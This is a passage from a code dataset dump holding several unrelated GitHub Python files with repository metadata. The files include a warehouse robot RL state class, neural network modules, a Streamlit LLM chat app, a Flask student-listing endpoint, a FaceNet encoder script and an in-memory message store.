robot_locs : [Location]\n The locations of each of the robots. The locations in robot_locs are \n always in ascending order. The length of robot_locs is equal to \n N_ROBOTS.\n stack_locs : [Location]\n The locations of each of the stacks. The locations in stack_locs are\n always in ascending order. The length of stack_locs is equal to \n N_STACKS.\n orders : [int]\n The number of ordered items that each stack contains. Each value in \n orders cannot be any larger than N_ITEMS. The length of orders \n is equal to N_STACKS.\n \n \"\"\"\n \n def __init__(self):\n \"\"\"\n Creates a new State object. \n \n Call the reset() method to initialize robot/stack locations and set \n the number of ordered items on each stack to 0. \n\n Returns\n -------\n None.\n\n \"\"\"\n self.valid_locations = list(map(Location.idx_to_loc, range(-1, N_ROWS * N_COLS)))\n self.reset()\n return\n \n def reset(self):\n \"\"\"\n Assign random new locations to the robots and stacks based on a \n discrete uniform distribution. Reorder the locations to be in \n ascending order. Set the number of ordered items for each stack to 0.\n\n Returns\n -------\n None.\n\n \"\"\"\n self.robot_locs = random.sample(self.valid_locations, k=N_ROBOTS)\n self.robot_locs.sort()\n self.stack_locs = random.sample(self.valid_locations, k=N_STACKS)\n self.stack_locs.sort()\n self.orders = [0]* N_STACKS\n return\n \n \n def baseline_organization(self):\n \"\"\"\n Initializes robot and stack locations for the baseline policy.\n \n The baseline policy requires that the stacks are located in the middle\n 2 rows of the warehouse grid and the robots are located in one of \n those 2 middle rows in the grid. This method must be called before \n using the baseline policy.\n \n The method assumes that the warehouse has at least 4 rows, at least as \n many columns as robots, and twice as many stacks as robots.\n\n Returns\n -------\n None.\n\n \"\"\"\n \n ### NO LONGER WORKS WITH NEW WAREHOUSE SHAPE\n \n if (N_ROWS >= 4 and N_COLS >= N_ROBOTS and N_STACKS == 2*N_ROBOTS):\n self.robot_locs = [Location(1, i) for i in range(N_ROBOTS)]\n self.robot_locs.sort()\n self.stack_locs = ([Location(1, i) for i in range(N_ROBOTS)] \n + [Location(2, i) for i in range(N_ROBOTS)])\n self.stack_locs.sort()\n return True\n else:\n print(\"Error: Cannot organize in rows.\")\n return False\n \n def enum(self):\n \"\"\"\n Enumerates the state by assigning a unique number to each state.\n \n First, enumerate the locations of the robots and multiply this value \n by the number of possible locations of stacks and possible orders \n values. Second, enumerate the locations of the stacks and multiply\n this value by the number of possible orders values. Last, enumerate \n the number of possible orders values. Add all these together to get \n the final enumeration of the state.\n \n \n Returns\n -------\n int\n The enumeration of the state.\n\n \"\"\"\n ## enumerate the location of robots\n enum_robots = 0\n locations = copy.deepcopy(self.valid_locations)\n for i in range(N_ROBOTS):\n idx = locations.index(self.robot_locs[i])\n if i == N_ROBOTS - 1:\n enum_robots += idx\n else:\n locations = locations[1:]\n for j in range(idx):\n enum_robots += nCr(len(locations), N_ROBOTS - i - 1)\n locations = locations[1:]\n \n possible_stacks_orders = (nCr(N_ROWS * N_COLS + 1, N_STACKS)\n * (N_ITEMS+1)**N_STACKS)\n \n \n ## enumerate the locations of stacks\n enum_stacks = 0\n locations = copy.deepcopy(self.valid_locations)\n for i in range(N_STACKS):\n idx = locations.index(self.stack_locs[i])\n if i == N_STACKS - 1:\n enum_stacks += idx\n else:\n locations = locations[1:]\n for j in range(idx):\n enum_stacks += nCr(len(locations), N_STACKS - i - 1)\n locations = locations[1:]\n \n possible_orders = (N_ITEMS+1)**N_STACKS\n \n ## enumerate the order state variable\n enum_orders = 0\n for i in range(N_STACKS):\n enum_orders += self.orders[i] * (N_ITEMS+1)**(N_STACKS-1-i)\n \n enum = (enum_robots * possible_stacks_orders\n + enum_stacks * possible_orders\n + enum_orders)\n return enum\n \n def set_by_enum(self, num):\n # possible_stacks_orders = (nCr(N_ROWS * N_COLS, N_STACKS)\n # * (ITEMS_PER_STACK+1)**N_STACKS)\n \n # possible_orders = (ITEMS_PER_STACK+1)**N_STACKS\n \n # enum_robots = int(num / possible_stacks_orders)\n \n # cnt = 0\n # robot_locs = list(range(N_ROBOTS))\n # for i in range(N_ROBOTS):\n \n \n # enum_stacks = int(num / possible_orders) % possible_stacks_orders\n \n # enum_orders = num % possible_orders\n \n return \n \n def grid(self):\n \"\"\"\n Returns a visual representation of the state.\n\n Returns\n -------\n s : str\n Visual representation of the state.\n\n \"\"\"\n s = \"\"\n for i in range(N_ROWS):\n s += \"\\n\" + \"-\" * (6 * (N_COLS + 1) - 2) + \"---\\n|\"\n if i == 0:\n for j in range(-1, N_COLS):\n loc = Location(i, j)\n if loc in self.robot_locs:\n s += \" R \"\n else:\n s += \" \"\n \n if loc in self.stack_locs:\n if self.orders[self.stack_locs.index(loc)] > 0:\n s += \"$ |\"\n else:\n s += \"s |\"\n else:\n s += \" |\"\n else:\n s += '/////|'\n for j in range(N_COLS):\n loc = Location(i, j)\n if loc in self.robot_locs:\n s += \" R \"\n else:\n s += \" \"\n \n if loc in self.stack_locs:\n if self.orders[self.stack_locs.index(loc)] > 0:\n s += \"$ |\"\n else:\n s += \"s |\"\n else:\n s += \" |\"\n s += \"\\n\" + \"-\" * (6 * (N_COLS + 1) - 2) + \"---\\n\"\n return s\n \n \n def __repr__(self):\n \"\"\"\n Returns the string representation of a State object.\n\n Returns\n -------\n s : str\n The string representation of a State object.\n\n \"\"\"\n s = self.grid()\n s += \"robots = \" + str(self.robot_locs) + '\\n'\n s += \"stacks = \" + str(self.stack_locs) + '\\n'\n s += \"orders = \" + str(self.orders) + '\\n'\n return s","repo_name":"MTHE493-Group14/Warehouse-Robot-RL","sub_path":"state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":9439,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"35131030366","text":"#testing web scraping\nimport requests\nimport bs4\nfrom bs4 import BeautifulSoup\n\ndef main():\n #use requests for get, put, post, delete\n response = requests.get('https://coinmarketcap.com/currencies/bitcoin/historical-data/?start=20130428&end=20200311')\n txt = open(\"coinmarketdata.txt\", 'w')\n with open('coinmarket.html', 'w') as f:\n data = response.text\n soup = BeautifulSoup(data, 'html.parser')\n td = soup.find_all('td')\n for i in td:\n value = i.contents[0].contents[0]\n input = value + \"|\"\n txt.write(str(input))\n f.write(data)\n f.close()\n txt.close()\n\nmain()\n\n\n","repo_name":"brandon-rowe/Python","sub_path":"Projects/WebScraping/coinmarket/snippets/coindata.py","file_name":"coindata.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29730454622","text":"from .network_utils import *\n\nclass NatureConvBody(nn.Module):\n def __init__(self, in_channels=4):\n super(NatureConvBody, self).__init__()\n self.feature_dim = 512\n self.conv1 = layer_init(nn.Conv2d(in_channels, 32, kernel_size=8, stride=4))\n self.conv2 = layer_init(nn.Conv2d(32, 64, kernel_size=4, stride=2))\n self.conv3 = layer_init(nn.Conv2d(64, 64, kernel_size=3, stride=1))\n self.fc4 = layer_init(nn.Linear(7 * 7 * 64, self.feature_dim))\n\n def forward(self, x):\n y = F.relu(self.conv1(x))\n y = F.relu(self.conv2(y))\n y = F.relu(self.conv3(y))\n y = y.view(y.size(0), -1)\n y = F.relu(self.fc4(y))\n return y\n\nclass TwoLayerFCBody(nn.Module):\n def __init__(self, state_dim, hidden_size=64, gate=F.relu):\n super(TwoLayerFCBody, self).__init__()\n self.fc1 = layer_init(nn.Linear(state_dim, hidden_size))\n self.fc2 = layer_init(nn.Linear(hidden_size, hidden_size))\n self.gate = gate\n self.feature_dim = hidden_size\n\n def forward(self, x):\n y = self.gate(self.fc1(x))\n y = self.gate(self.fc2(y))\n return y\n\nclass DeterministicActorNet(nn.Module, BasicNet):\n def __init__(self,\n state_dim,\n action_dim,\n action_gate=F.tanh,\n action_scale=1,\n gpu=-1,\n non_linear=F.tanh):\n super(DeterministicActorNet, self).__init__()\n self.layer1 = layer_init(nn.Linear(state_dim, 300))\n self.layer2 = layer_init(nn.Linear(300, 200))\n self.layer3 = nn.Linear(200, action_dim)\n self.action_gate = action_gate\n self.action_scale = action_scale\n self.non_linear = non_linear\n self.init_weights()\n BasicNet.__init__(self, gpu)\n\n def init_weights(self):\n bound = 3e-3\n nn.init.uniform(self.layer3.weight.data, -bound, bound)\n nn.init.constant(self.layer3.bias.data, 0)\n\n def forward(self, x):\n x = self.variable(x)\n x = self.non_linear(self.layer1(x))\n x = self.non_linear(self.layer2(x))\n x = self.layer3(x)\n x = self.action_scale * self.action_gate(x)\n return x\n\n def predict(self, x, to_numpy=False):\n y = self.forward(x)\n if to_numpy:\n y = y.cpu().data.numpy()\n return y\n\nclass DeterministicCriticNet(nn.Module, BasicNet):\n def __init__(self,\n state_dim,\n action_dim,\n gpu=-1,\n non_linear=F.tanh):\n super(DeterministicCriticNet, self).__init__()\n self.layer1 = layer_init(nn.Linear(state_dim, 400))\n self.layer2 = layer_init(nn.Linear(400 + action_dim, 300))\n self.layer3 = nn.Linear(300, 1)\n self.non_linear = non_linear\n self.init_weights()\n BasicNet.__init__(self, gpu)\n\n def init_weights(self):\n bound = 3e-3\n nn.init.uniform(self.layer3.weight.data, -bound, bound)\n nn.init.constant(self.layer3.bias.data, 0)\n\n def forward(self, x, action):\n x = self.variable(x)\n action = self.variable(action)\n x = self.non_linear(self.layer1(x))\n x = self.non_linear(self.layer2(torch.cat([x, action], dim=1)))\n x = self.layer3(x)\n return x\n\n def predict(self, x, action):\n return self.forward(x, action)\n\nclass GaussianActorNet(nn.Module, BasicNet):\n def __init__(self,\n state_dim,\n action_dim,\n gpu=-1,\n hidden_size=64,\n non_linear=F.tanh):\n super(GaussianActorNet, self).__init__()\n self.fc1 = layer_init(nn.Linear(state_dim, hidden_size))\n self.fc2 = layer_init(nn.Linear(hidden_size, hidden_size))\n self.fc_action = nn.Linear(hidden_size, action_dim)\n\n self.action_log_std = nn.Parameter(torch.zeros(1, action_dim))\n\n self.non_linear = non_linear\n\n self.init_weights()\n BasicNet.__init__(self, gpu)\n\n def init_weights(self):\n bound = 3e-3\n nn.init.uniform(self.fc_action.weight.data, -bound, bound)\n nn.init.constant(self.fc_action.bias.data, 0)\n\n def forward(self, x):\n x = self.variable(x)\n phi = self.non_linear(self.fc1(x))\n phi = self.non_linear(self.fc2(phi))\n mean = F.tanh(self.fc_action(phi))\n log_std = self.action_log_std.expand_as(mean)\n std = log_std.exp()\n return mean, std, log_std\n\n def predict(self, x):\n return self.forward(x)\n\nclass GaussianCriticNet(nn.Module, BasicNet):\n def __init__(self,\n state_dim,\n gpu=-1,\n hidden_size=64,\n non_linear=F.tanh):\n super(GaussianCriticNet, self).__init__()\n self.fc1 = layer_init(nn.Linear(state_dim, hidden_size))\n self.fc2 = layer_init(nn.Linear(hidden_size, hidden_size))\n self.fc_value = nn.Linear(hidden_size, 1)\n self.non_linear = non_linear\n self.init_weights()\n BasicNet.__init__(self, gpu)\n\n def init_weights(self):\n bound = 3e-3\n nn.init.uniform(self.fc_value.weight.data, -bound, bound)\n nn.init.constant(self.fc_value.bias.data, 0)\n\n def forward(self, x):\n x = self.variable(x)\n phi = self.non_linear(self.fc1(x))\n phi = self.non_linear(self.fc2(phi))\n value = self.fc_value(phi)\n return value\n\n def predict(self, x):\n return self.forward(x)","repo_name":"nekrald/quadrotor_reinforcement_learning","sub_path":"libraries/DeepRL/network/network_bodies.py","file_name":"network_bodies.py","file_ext":"py","file_size_in_byte":5511,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"34676471415","text":"from llama_cpp import Llama\nimport streamlit as st\nimport os\nimport openai\n\ndef stream_gpt(messages, model):\n completion = openai.ChatCompletion.create(model=model, messages=messages, stream=True, max_tokens=500, temperature=0.5)\n for line in completion:\n if 'content' in line['choices'][0]['delta']:\n yield line['choices'][0]['delta']['content']\n\ndir_path = \"./models/\"\nfiles = os.listdir(dir_path)\nopenai_models = [\"gpt-3.5-turbo\", \"gpt-3.5-turbo-0613\", \"gpt-4\"]\nllm_path = st.selectbox(\"Select an LLM\", options=files + openai_models)\nis_openai = \"gpt\" in llm_path\nif is_openai:\n openai.api_key = os.getenv(\"OPENAI_KEY\")\nelse:\n llm = Llama(model_path= dir_path + llm_path, n_ctx=2048, n_threads=12, n_gpu_layers=1)\n \nif \"messages\" not in st.session_state:\n st.session_state.messages = []\n\nprompt = st.chat_input(\"Say something\")\nresponse = \"\"\nif prompt:\n st.session_state.messages.append({\"role\": \"user\", \"content\": prompt})\n st.session_state.messages.append({\"role\": \"assistant\", \"content\": response})\n stream = None\n if is_openai:\n stream_gpt(st.session_state.messages, llm_path)\n else:\n stream = llm(f\"{prompt}\\n\", max_tokens=600, stop=[\"\\n\"], echo=False, stream=True)\n \n for output in stream:\n response += str(output[\"choices\"][0][\"text\"])\n st.session_state.messages[len(st.session_state.messages) - 1] = {\"role\": \"assistant\", \"content\": response}\nfor message in st.session_state.messages:\n with st.chat_message(message[\"role\"]):\n st.markdown(message[\"content\"])","repo_name":"AndreasInk/ExamCramChat","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5891230774","text":"import dbcreds\nimport secrets\nimport json\nfrom flask import Response, request\nimport mariadb\n\ndef get():\n result = None\n params = request.args\n loginToken = request.headers.get(\"loginToken\")\n course_id = params.get(\"courseId\")\n conn = None\n cursor = None\n result = None\n\n \n \n try:\n conn = mariadb.connect(user=dbcreds.user,password=dbcreds.password, host=dbcreds.host,port=dbcreds.port, database=dbcreds.database)\n cursor = conn.cursor()\n cursor.execute(\"SELECT u.id , u.role FROM users u INNER JOIN user_session us ON u.id = us.user_id WHERE token = ?\",[loginToken])\n user=cursor.fetchone()\n if user[1]==\"admin\" and course_id != None:\n cursor.execute(\"SELECT * FROM users u INNER JOIN student_register sr ON sr.student_id = u.id WHERE u.role= ? AND sr.course_id =?\",[\"student\",course_id])\n elif user[1]==\"admin\":\n cursor.execute(\"SELECT * FROM users WHERE role = ?\",[\"student\",])\n elif user[1]==\"instructor\" and course_id !=None:\n cursor.execute(\"SELECT * FROM instructor_teaches WHERE instructor_id=? AND course_id=?\",[user[0],course_id])\n rows = cursor.fetchall()\n if len(rows)==1:\n cursor.execute(\"SELECT * FROM users u INNER JOIN student_register sr ON sr.student_id = u.id WHERE u.role= ? AND sr.course_id =?\",[\"student\",course_id])\n result = cursor.fetchall()\n except mariadb.OperationalError as e:\n message = \"connection error\" \n except Exception as e:\n message =\"somthing went wrong, probably bad params \" \n finally:\n if(cursor != None):\n cursor.close()\n if(conn != None):\n conn.rollback()\n conn.close()\n if (result != None or result==[]):\n students=[]\n for row in result:\n student={\n \"id\":row[0],\n \"name\":row[1],\n \"username\":row[4],\n \"email\":row[5],\n \"birthdate\":row[2],\n \"role\":row[6]\n }\n students.append(student)\n return Response(json.dumps(students,default=str) ,mimetype=\"application/json\",status=200)\n else:\n return Response(\"failed\" ,mimetype=\"html/text\",status=400)\n\n\n\n ","repo_name":"khalidamairi3/MVP_backend","sub_path":"students.py","file_name":"students.py","file_ext":"py","file_size_in_byte":2350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9674094253","text":"from utils.utils_linear_regression import *\nfrom utils.graphics_common import *\n\n\n# APPROX PLOTS\n\ndef basic_approx_plot(ax, points, T, SGD, MGD, GD, log=True):\n title = \"Аппроксимация\"\n if not log:\n title += \", нелогарифмическая шкала\"\n ax.set_title(title, color='black')\n if log:\n ax.set_yscale('symlog')\n ax.set_xscale('symlog')\n legend = []\n if SGD is not None:\n ax.plot(T, [linear_combination([x], SGD[-1]) for x in T], '-', color=\"green\", linewidth=0.3)\n legend.append(\"SGD\")\n if MGD is not None:\n ax.plot(T, [linear_combination([x], MGD[-1]) for x in T], '-', color=\"yellow\", linewidth=0.3)\n legend.append(\"MGD\")\n if GD is not None:\n ax.plot(T, [linear_combination([x], GD[-1]) for x in T], '-', color=\"blue\", linewidth=0.3)\n legend.append(\"GD\")\n if legend:\n ax.legend(legend, labelcolor=\"black\")\n if points:\n ax.plot([i[0][0] for i in points], [i[1] for i in points], 'o', markersize=3)\n\n\ndef basic_approx_plot_3d(ax3d, points, Tx, Ty, gd_points, label):\n def err_f(*args):\n return linear_combination(args, gd_points[-1])\n\n ax3d.set_title(\"Аппроксимация\", color='black')\n Mx, My = np.meshgrid(Tx, Ty)\n if points:\n ax3d.scatter(\n [i[0][0] for i in points],\n [i[0][1] for i in points],\n [i[1] for i in points], 'o', s=5, cmap=plt.get_cmap('hsv'))\n ax3d.legend([label], labelcolor=\"black\")\n errors = list()\n for i in points:\n predicted_z = err_f(*i[0])\n t = np.linspace(i[1], predicted_z, 80)\n for j in t:\n errors.append([i[0][0], i[0][1], j])\n arr = np.array(errors)\n ax3d.scatter(\n arr[:, 0],\n arr[:, 1],\n arr[:, 2], 'o', s=0.1, alpha=0.5)\n return basic_3d_plot2(ax3d, err_f, Mx, My, None, alpha=0.7)\n\n\n# LINEAR REGRESSION RESULTS ANALYSIS\n\ndef basic_error_chart(ax, err_f, SGD, MGD, GD, title=None):\n labels = []\n data = []\n for name, arr in [(\"SGD\", SGD), (\"MGD\", MGD), (\"GD\", GD)]:\n if arr is not None:\n labels.append(name)\n data.append(err_f(*arr))\n\n basic_bar_chart(ax, labels, data, title=\"Функция ошибки\")\n\n\ndef basic_log_stats(err_f, dataset_size, batch_count, *args):\n print(\"Значения функции ошибки:\")\n print([err_f(*p[-1]) for p in args])\n print(\"Результаты методов:\")\n print([p[-1] for p in args])\n print(\"Количество итераций:\")\n print([len(p) for p in args])\n print(\"Точек всего:\", dataset_size)\n print(\"Точек взято в minibatch:\", batch_count)\n\n\ndef plot_loss_epoch(ax, points_gd, func):\n size = len(points_gd)\n indexes = range(size - 11, size)\n points = []\n for i in indexes:\n points.append(func(*points_gd[i]))\n print(points)\n ax.set_xlabel('Epoch')\n ax.set_ylabel('Loss')\n ax.set_yscale('log')\n ax.grid()\n\n plt.plot(indexes, np.array(points), 'o-')\n","repo_name":"letstatt/itmo","sub_path":"opt-methods/lab2/utils/graphics_linear_regression.py","file_name":"graphics_linear_regression.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"5721403005","text":"from architecture import * \nimport os \nimport cv2\nimport mtcnn\nimport pickle \nimport numpy as np \nfrom sklearn.preprocessing import Normalizer\nfrom tensorflow.keras.models import load_model\n\n######pathsandvairables#########\nface_data = 'Faces/'\nrequired_shape = (160,160)\nface_encoder = InceptionResNetV2()\npath = \"facenet_keras_weights.h5\"\nface_encoder.load_weights(path)\nface_detector = mtcnn.MTCNN()\nencodes = []\nencoding_dict = dict()\nl2_normalizer = Normalizer('l2')\n###############################\n\n\ndef normalize(img):\n mean, std = img.mean(), img.std()\n return (img - mean) / std\n\n\nfor face_names in os.listdir(face_data):\n person_dir = os.path.join(face_data,face_names)\n\n for image_name in os.listdir(person_dir):\n image_path = os.path.join(person_dir,image_name)\n\n img_BGR = cv2.imread(image_path)\n img_RGB = cv2.cvtColor(img_BGR, cv2.COLOR_BGR2RGB)\n\n x = face_detector.detect_faces(img_RGB)\n x1, y1, width, height = x[0]['box']\n x1, y1 = abs(x1) , abs(y1)\n x2, y2 = x1+width , y1+height\n face = img_RGB[y1:y2 , x1:x2]\n \n face = normalize(face)\n face = cv2.resize(face, required_shape)\n face_d = np.expand_dims(face, axis=0)\n encode = face_encoder.predict(face_d)[0]\n encodes.append(encode)\n\n if encodes:\n encode = np.sum(encodes, axis=0 )\n encode = l2_normalizer.transform(np.expand_dims(encode, axis=0))[0]\n encoding_dict[face_names] = encode\n \npath = 'encodings/encodings.pkl'\nwith open(path, 'wb') as file:\n pickle.dump(encoding_dict, file)\n\n\n\n\n\n\n","repo_name":"R4j4n/Face-recognition-Using-Facenet-On-Tensorflow-2.X","sub_path":"train_v2.py","file_name":"train_v2.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":79,"dataset":"github-code","pt":"61"} +{"seq_id":"29171001876","text":"from queue import LifoQueue\n\nwith open(\"advent_9.txt\") as f:\n lines = [line.strip() for line in f.readlines()]\n\nx = len(lines[0])\ny = len(lines)\n\nboard = [[-1 for i in range(x)] for j in range(y)]\n\nfor j, line in enumerate(lines):\n for i, p in enumerate(line):\n board[j][i] = int(p)\n\n\nclass Position(object):\n def __init__(self, i, j):\n self.i = i\n self.j = j\n\n def compare(self, other):\n if other.i >= 0 and other.j >= 0 and other.i < x and other.j < y:\n if board[self.j][self.i] < board[other.j][other.i]:\n return -1\n elif board[self.j][self.i] == board[other.j][other.i]:\n return 0\n else:\n return 1\n\n def get_index(self):\n return 1000 * self.j + self.i\n\n\nto_low = dict()\n\n\ndef get_position(index):\n return Position(index % 1000, int(index / 1000))\n\n\nclass Visited(object):\n def __init__(self, position, visited):\n self.position = position\n self.visited = visited\n\n# DFS for low point. Record path. Once low point found,\n# update all elements on path.\ndef find_low(position):\n stack = LifoQueue(maxsize=0)\n stack.put(Visited(position, []))\n while not stack.empty():\n v = stack.get()\n p = v.position\n visited = v.visited + [p]\n neighbors = [Position(p.i-1, p.j), Position(p.i+1, p.j), Position(p.i, p.j-1), Position(p.i, p.j+1)]\n low = True\n for n in neighbors:\n c = p.compare(n)\n if c == 1:\n stack.put(Visited(n, visited))\n low = False\n elif c == 0:\n low = False\n if low:\n for path_p in visited:\n to_low[path_p.get_index()] = p\n\n\ntotal = 0\nfor j in range(y):\n for i in range(x):\n p = Position(i, j)\n if board[j][i] < 9 and (p.get_index() not in to_low):\n find_low(p)\n\nsizes = {}\nfor p in to_low:\n ind = to_low[p].get_index()\n if ind not in sizes:\n sizes[ind] = 1\n else:\n sizes[ind] += 1\n\nsize_arr = [v for v in sizes.values()]\nsize_arr.sort(reverse=True)\nprint(size_arr[0]*size_arr[1]*size_arr[2])\n","repo_name":"gwhitehawk/AoC_2021","sub_path":"advent_9.py","file_name":"advent_9.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40041434376","text":"#!/usr/bin/env python -O\n# PYTHON_ARGCOMPLETE_OK\n\nfrom __future__ import absolute_import, division, print_function, unicode_literals\n\nimport argparse\nimport nmt_chainer.training_module.train_config as train\nimport nmt_chainer.translation.eval_config as eval_module\nimport nmt_chainer.dataprocessing.make_data_conf as make_data\n\nimport nmt_chainer.utilities.utils_command as utils_command\n\nfrom nmt_chainer.utilities import versioning_tools\nimport sys\n\ntry:\n import argcomplete\nexcept ImportError:\n argcomplete = None\n\ntry:\n import ipdb as pdb\nexcept ImportError:\n import pdb\n\ndef run_in_ipdb(func, args):\n import ipdb\n with ipdb.launch_ipdb_on_exception():\n func(args)\n\ndef run_in_pdb(func, args):\n def debug_signal_handler(signal, frame):\n import pdb\n pdb.set_trace()\n import signal\n signal.signal(signal.SIGINT, debug_signal_handler)\n\n import pdb as pdb_module\n\n import sys\n import traceback\n pdb = pdb_module.Pdb()\n while True:\n try:\n pdb.runcall(func, args)\n if pdb._user_requested_quit:\n break\n print(\"The program finished and will be restarted\")\n except pdb_module.Restart:\n print(\"Restarting with arguments:\")\n print(\"\\t\" + \" \".join(sys.argv[1:]))\n except SystemExit:\n # In most cases SystemExit does not warrant a post-mortem session.\n print(\"The program exited via sys.exit(). Exit status: \",)\n print(sys.exc_info()[1])\n except SyntaxError:\n traceback.print_exc()\n sys.exit(1)\n except BaseException:\n traceback.print_exc()\n print(\"Uncaught exception. Entering post mortem debugging\")\n print(\"Running 'cont' or 'step' will restart the program\")\n t = sys.exc_info()[2]\n pdb.interaction(None, t)\n print(\"Post mortem debugger finished. The program will be restarted\")\n\n\ndef main(arguments=None):\n # create the top-level parser\n parser = argparse.ArgumentParser(description=\"Kyoto-NMT: an Implementation of the RNNSearch model\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\n prog=\"knmt\")\n\n parser.add_argument(\"--run_in_pdb\", default=False, action=\"store_true\", help=\"run knmt in pdb (python debugger)\")\n\n parser.add_argument(\"--run_in_cprofile\", default=False, action=\"store_true\", help=\"run knmt in cProfile\")\n\n subparsers = parser.add_subparsers(dest=\"__subcommand_name\")\n\n # create the parser for the \"make_data\" command\n parser_make_data = subparsers.add_parser('make_data', description=\"Prepare data for training.\", help=\"Prepare data for training\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n make_data.define_parser(parser_make_data)\n\n # create the parser for the \"train\" command\n parser_train = subparsers.add_parser('train', description=\"Train a model.\", help=\"Train a model\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n train.define_parser(parser_train)\n\n # create the parser for the \"eval\" command\n parser_eval = subparsers.add_parser('eval', description=\"Use a model.\", help=\"Use a model\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n eval_module.define_parser(parser_eval)\n\n # create the parser for the \"version\" command\n parser_version = subparsers.add_parser('version', description=\"Get version infos.\", help=\"Get version infos\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\n parser_utils = subparsers.add_parser('utils', description=\"Call a utility script.\", help=\"Call a utility script\", formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n utils_command.define_parser(parser_utils)\n\n# import argcomplete\n if argcomplete is not None:\n argcomplete.autocomplete(parser)\n\n args = parser.parse_args(args=arguments)\n if arguments is not None:\n args.__original_argument_list = arguments\n else:\n args.__original_argument_list = sys.argv\n\n if args.__subcommand_name is None:\n parser.print_help()\n sys.exit(1)\n\n func = {\"make_data\": make_data.do_make_data,\n \"train\": train.do_train,\n \"eval\": eval_module.do_eval,\n \"version\": versioning_tools.main,\n \"utils\": utils_command.do_utils}[args.__subcommand_name]\n\n if args.run_in_pdb:\n try:\n import ipdb\n run_in_ipdb(func, args)\n except ImportError:\n run_in_pdb(func, args)\n # import pdb\n # pdb.runcall(func, args)\n # def debug_signal_handler(signal, frame):\n # import pdb\n # pdb.set_trace()\n # import signal\n # signal.signal(signal.SIGINT, debug_signal_handler)\n\n elif args.run_in_cprofile:\n import cProfile\n cProfile.runctx(\"func(args)\", globals(), locals(), sort=\"cumtime\")\n \n else:\n try:\n func(args)\n except train.CommandLineValuesException as e:\n parser_train.error(e.args[0])\n except eval_module.CommandLineValuesException as e:\n parser_eval.error(e.args[0])\n except make_data.CommandLineValuesException as e:\n parser_make_data.error(e.args[0])\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"fabiencro/knmt","sub_path":"nmt_chainer/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":5331,"program_lang":"python","lang":"en","doc_type":"code","stars":46,"dataset":"github-code","pt":"61"} +{"seq_id":"7933562102","text":"#encoding: utf8\nclass MemoryStorage(object):\n \"\"\"\n Simple(dummy) in-memory storage\n    In production better to use some database. Written to describe the api and testing\n \"\"\"\n def __init__(self, config):\n # configuration of channels and services provided by application\n self.config = config\n\n # Storage of undelivered messages\n self.storage = dict()\n\n # Dict with services and subscriptions\n self.clients = dict()\n self.load_clients()\n\n # The list of keys to interact with the application\n self.api_keys = list()\n self.load_api_keys()\n\n def load_clients(self):\n \"\"\"\n Loading services and key data from config\n \"\"\"\n channel_dict = self.config.get('channels', {})\n for channel in channel_dict:\n self.add_channel(channel)\n for user_data in channel_dict.get(channel, []):\n self.subscribe(user_data['url'], user_data['key'], channel)\n\n def load_api_keys(self):\n \"\"\"\n Loading keys to store messages\n \"\"\"\n self.api_keys = self.config.get('keys', [])\n\n def push(self, client, channel, data, status_code):\n \"\"\"\n Adding the undeliverable message in the storage\n \"\"\"\n if client not in self.storage:\n self.storage[client] = {}\n if channel not in self.storage[client]:\n self.storage[client][channel] = []\n self.storage[client][channel].append((data, status_code))\n\n def waiting_clients(self):\n \"\"\"\n Returns the services that have undelivered messages\n \"\"\"\n return self.storage.iterkeys()\n\n def waiting_messages(self, client):\n \"\"\"\n Returns a dict with the channels in which there are unsent messages\n for a given service\n \"\"\"\n return self.storage.get(client, None)\n\n def get_client_key(self, client, channel):\n \"\"\"\n Returns the key to send the data to the client in a given channel\n \"\"\"\n result = None\n if channel in self.clients:\n for service in self.clients[channel]:\n if service[0] != client:\n continue\n result = service[1]\n return result\n\n def get_clients(self, channel):\n \"\"\"\n Returns a list of services subscribed to the channel\n \"\"\"\n if channel not in self.clients.keys():\n return []\n return self.clients[channel]\n\n def drop_message(self, client, channel, i):\n \"\"\"\n Deletes the message from storage\n \"\"\"\n del self.storage[client][channel][i]\n\n def messages_in_channel(self, client, channel):\n \"\"\"\n Returns the number of unsent messages for service in a given channel\n \"\"\"\n result = None\n if client not in self.storage:\n return result\n if channel not in self.storage[client]:\n return result\n result = len(self.storage[client][channel])\n return result\n\n def __repr__(self):\n \"\"\"\n In print we trust\n \"\"\"\n return repr(self.storage)\n\n def add_channel(self, channel):\n \"\"\"\n Try to create a channel in the storage\n \"\"\"\n if channel in self.clients:\n return False\n self.clients[channel] = []\n return True\n\n def subscribe(self, client, api_key, channel):\n \"\"\"\n Subscribe client to the channel\n \"\"\"\n if channel not in self.clients:\n return False\n pair = (client, api_key)\n if pair in self.clients[channel]:\n return False\n\n self.clients[channel].append(pair)\n return True\n\n def unsubscribe(self, client, channel):\n \"\"\"\n Unsubscribe client from the channel\n N.B. we must drop all messages in queue for this client\n \"\"\"\n clients = self.clients.get(channel)\n if clients is None:\n return False\n index = None\n for i, pair in enumerate(clients):\n if pair[0] != client:\n continue\n index = i\n break\n if index is not None:\n del self.clients[channel][index]\n return True\n\n def drop_channel(self, channel):\n \"\"\"\n Drop channel with all messages and clients\n \"\"\"\n return self.clients.pop(channel, 